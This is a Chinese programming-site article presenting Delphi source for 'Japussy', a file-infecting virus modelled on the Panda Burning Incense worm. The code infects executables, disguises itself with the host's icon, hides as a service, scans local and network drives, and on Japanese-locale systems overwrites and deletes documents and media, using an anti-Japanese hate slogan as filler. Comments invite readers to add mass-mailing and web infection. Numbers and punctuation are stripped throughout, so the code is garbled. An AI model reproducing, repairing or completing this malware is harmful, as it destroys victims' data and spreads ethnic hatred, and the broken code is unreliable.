其他语言

位置:IT落伍者 >> 其他语言 >> 浏览文章

Delphi版模仿熊猫烧香病毒核心源码


发布日期:2019年05月20日
 
Delphi版模仿熊猫烧香病毒核心源码
WordWRAP: breakword bgColor=#fff>以下是引用片段

program Japussy;

uses

Windows SysUtils Classes Graphics ShellAPI{ ReGIStry};

const

HeaderSize = ; //病毒体的大小

IconOffset = $EB; //PE文件主图标的偏移量

//在我的Delphi SP上面编译得到的大小其它版本的Delphi可能不同

//查找的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = ; //Upx压缩过病毒体的大小

IconOffset = $BC; //Upx压缩过PE文件主图标的偏移量

//Upx W 用法: upx Japussyexe

}

IconSize = $E; //PE文件主图标的大小字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $; //感染标记

//垃圾码以备写入

Catchword = If a race need to be killed out it must be Yamato +

If a country need to be destroyed it must be Japan! +

*** WJapussyWormA ***;

{$R *RES}

function RegisterServiceProcess(dwProcessID dwType: Integer): Integer;

stdcall; external Kerneldll; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Winx }

function IsWinx: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

VerdwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (VerdwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Winx

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos dCurPos: Integer;

begin

sCurPos := SrcPosition;

dCurPos := DstPosition;

SrcSeek(sStartPos );

DstSeek(dStartPos );

DstCopyFrom(Src Count);

SrcSeek(sCurPos );

DstSeek(dCurPos );

end;

{ 将宿主文件从已感染的PE文件中分离出来以备使用 }

procedure ExtractFile(FileName: string);

var

sStream dStream: TFileStream;

begin

try

sStream := TFileStreamCreate(ParamStr() fmOpenRead or fmShareDenyNone);

try

dStream := TFileStreamCreate(FileName fmCreate);

try

sStreamSeek(HeaderSize ); //跳过头部的病毒部分

dStreamCopyFrom(sStream sStreamSize HeaderSize);

finally

dStreamFree;

end;

finally

sStreamFree;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Sicb := SizeOf(Si);

SilpReserved := nil;

SilpDesktop := nil;

SilpTitle := nil;

SidwFlags := STARTF_USESHOWWINDOW;

SiwShowWindow := State;

SicbReserved := ;

SilpReserved := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream SrcStream: TFileStream;

IcoStream DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected IsPE: Boolean;

i: Integer;

Buf: array[] of Char;

begin

try //出错则文件正在被使用退出

if CompareText(FileName JAPUSSYEXE) = then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStreamCreate(FileName fmOpenRead);

try

for i := to $ do //检查PE文件头

begin

SrcStreamSeek(i soFromBeginning);

SrcStreamRead(Buf );

if (Buf[] = #) and (Buf[] = #) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

// 本文转自 C++Builder 研究 ;d=ladj

SrcStreamSeek( soFromEnd); //检查感染标记

SrcStreamRead(iID );

if (iID = ID) or (SrcStreamSize < ) then //太小的文件不感染

Infected := True;

finally

SrcStreamFree;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStreamCreate;

DstStream := TMemoryStreamCreate;

try

aIcon := TIconCreate;

try

//得到被感染文件的主图标(字节)存入流

aIconReleaseHandle;

aIconHandle := ExtractIcon(HInstance PChar(FileName) );

aIconSaveToStream(IcoStream);

finally

aIconFree;

end;

SrcStream := TFileStreamCreate(FileName fmOpenRead);

//头文件

HdrStream := TFileStreamCreate(ParamStr() fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream DstStream IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream DstStream IconOffset IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream IconTail DstStream IconTail HeaderSize IconTail);

//写入宿主程序

CopyStream(SrcStream DstStream HeaderSize SrcStreamSize);

//写入已感染的标记

DstStreamSeek( );

iID := $;

DstStreamWrite(iID );

finally

HdrStreamFree;

end;

finally

SrcStreamFree;

IcoStreamFree;

DstStreamSaveToFile(FileName); //替换宿主文件

DstStreamFree;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i Size Mass Max Len: Integer;

begin

try

SetFileAttributes(PChar(FileName) ); //去掉只读属性

FileHandle := FileOpen(FileName fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle nil); //文件大小

i := ;

Randomize;

Max := Random(); //写入垃圾码的随机次数

if Max < then

Max := ;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle i * Mass ); //定位

//写入垃圾码将文件彻底破坏掉

FileWrite(FileHandle Catchword Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := to do //遍历个字母

begin

D := Chr(i + );

Str := D + :;

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录感染和摧毁文件 }

procedure LoopFiles(Path Mask: string);

var

i Count: Integer;

Fn Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRecAttr <> ) and (SearchRecName <> ) and

(SearchRecName <> ) then

Result := //不是目录

else if (SearchRecAttr = ) and (SearchRecName <> ) and

(SearchRecName <> ) then

Result := //不是根目录

else Result := ; //是根目录

end;

begin

if (FindFirst(Path + Mask faAnyFile SearchRec) = ) then

begin

repeat

PeekMessage(Msg PM_REMOVE); //调整消息队列避免引起怀疑

if IsValidDir(SearchRec) = then

begin

Fn := Path + SearchRecName;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = EXE) or (Ext = SCR) then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = HTM) or (Ext = HTML) or (Ext = ASP) then

begin

//感染HTML和ASP文件将Base编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if Ext = WAB then //OutLook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = ADC then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = IND then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = DOC) or (Ext = XLS) or (Ext = MDB) or

(Ext = MP) or (Ext = RM) or (Ext = RA) or

(Ext = WMA) or (Ext = ZIP) or (Ext = RAR) or

(Ext = MPEG) or (Ext = ASF) or (Ext = JPG) or

(Ext = JPEG) or (Ext = GIF) or (Ext = SWF) or

(Ext = PDF) or (Ext = CHM) or (Ext = AVI) then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠毫秒避免CPU占用率过高引起怀疑

Sleep();

until (FindNext(SearchRec) <> );

end;

FindClose(SearchRec);

SubDir := TStringListCreate;

if (FindFirst(Path + ** faDirectory SearchRec) = ) then

begin

repeat

if IsValidDir(SearchRec) = then

SubDirAdd(SearchRecName);

until (FindNext(SearchRec) <> );

end;

FindClose(SearchRec);

Count := SubDirCount ;

for i := to Count do

LoopFiles(Path + SubDirStrings[i] + Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i Len: Integer;

begin

if GetACP = then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto do //遍历每个磁盘驱动器

LoopFiles(DriverList[i] + : **); //感染之

SendMail; //发带毒邮件

Sleep( * * ); //睡眠分钟

end;

end;

{ 主程序开始 }

begin

if IsWinx then //是Winx

RegisterServiceProcess(GetCurrentProcessID ) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr()) Japussyexe) = then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了开始工作

begin

TmpFile := ParamStr(); //创建临时文件

Delete(TmpFile Length(TmpFile) );

TmpFile := TmpFile + # + exe; //真正的宿主文件多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile) PChar(TmpFile) nil nil True

nil Si Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end

               

上一篇:Delphi中动画设计[1]

下一篇:用Delphi进行NT、2000、2003服务程序的调试